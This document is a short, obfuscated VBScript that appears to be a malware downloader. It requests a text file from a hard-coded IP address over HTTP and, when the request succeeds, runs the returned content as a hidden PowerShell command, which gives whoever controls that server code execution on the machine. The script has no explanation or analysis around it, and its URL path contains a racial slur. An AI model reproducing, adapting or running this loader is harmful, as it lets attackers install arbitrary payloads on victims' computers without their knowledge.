Dim kZpCLbULAOPuKRzZbGktNdlKbQiWqLixLZuiZLjaiuUcLZPHeQinoiGUZUmLLiiOeWGPePnuKcLezvaOmxLmWLinSpnktcvQNkkP, qhZPLAWZtNOuWkdBRLexhWeGzKzjWbqLuLlhfzRKcqxupiLGGPUBjhZfrfZIKOKWGWQNWTWaUGmKQikRmhkKgbPhPaUQibWWRiLU
Set kZpCLbULAOPuKRzZbGktNdlKbQiWqLixLZuiZLjaiuUcLZPHeQinoiGUZUmLLiiOeWGPePnuKcLezvaOmxLmWLinSpnktcvQNkkP = CreateObject("MSXML2.ServerXMLHTTP")
kZpCLbULAOPuKRzZbGktNdlKbQiWqLixLZuiZLjaiuUcLZPHeQinoiGUZUmLLiiOeWGPePnuKcLezvaOmxLmWLinSpnktcvQNkkP.Open "GET", "http://91.92.254.14/Users_API/negrocock/file_in0kfcuh.ojw.txt", False
kZpCLbULAOPuKRzZbGktNdlKbQiWqLixLZuiZLjaiuUcLZPHeQinoiGUZUmLLiiOeWGPePnuKcLezvaOmxLmWLinSpnktcvQNkkP.Send
If kZpCLbULAOPuKRzZbGktNdlKbQiWqLixLZuiZLjaiuUcLZPHeQinoiGUZUmLLiiOeWGPePnuKcLezvaOmxLmWLinSpnktcvQNkkP.Status = 200 Then
qhZPLAWZtNOuWkdBRLexhWeGzKzjWbqLuLlhfzRKcqxupiLGGPUBjhZfrfZIKOKWGWQNWTWaUGmKQikRmhkKgbPhPaUQibWWRiLU = kZpCLbULAOPuKRzZbGktNdlKbQiWqLixLZuiZLjaiuUcLZPHeQinoiGUZUmLLiiOeWGPePnuKcLezvaOmxLmWLinSpnktcvQNkkP.responseText
Dim WqkQoBtGWCWpKLofKcKKpKdKGGBLiZePWthipKqeiqhKoWWOdThUlWnLAcUztJfLoUsWuzWKorWbqfohuUWsrBIKULgpcLftGNum
Set WqkQoBtGWCWpKLofKcKKpKdKGGBLiZePWthipKqeiqhKoWWOdThUlWnLAcUztJfLoUsWuzWKorWbqfohuUWsrBIKULgpcLftGNum = CreateObject("WScript.Shell")
WqkQoBtGWCWpKLofKcKKpKdKGGBLiZePWthipKqeiqhKoWWOdThUlWnLAcUztJfLoUsWuzWKorWbqfohuUWsrBIKULgpcLftGNum.Run "powershell -Command """ & qhZPLAWZtNOuWkdBRLexhWeGzKzjWbqLuLlhfzRKcqxupiLGGPUBjhZfrfZIKOKWGWQNWTWaUGmKQikRmhkKgbPhPaUQibWWRiLU & """", 0, True
Set WqkQoBtGWCWpKLofKcKKpKdKGGBLiZePWthipKqeiqhKoWWOdThUlWnLAcUztJfLoUsWuzWKorWbqfohuUWsrBIKULgpcLftGNum = Nothing
End If
Set kZpCLbULAOPuKRzZbGktNdlKbQiWqLixLZuiZLjaiuUcLZPHeQinoiGUZUmLLiiOeWGPePnuKcLezvaOmxLmWLinSpnktcvQNkkP = Nothing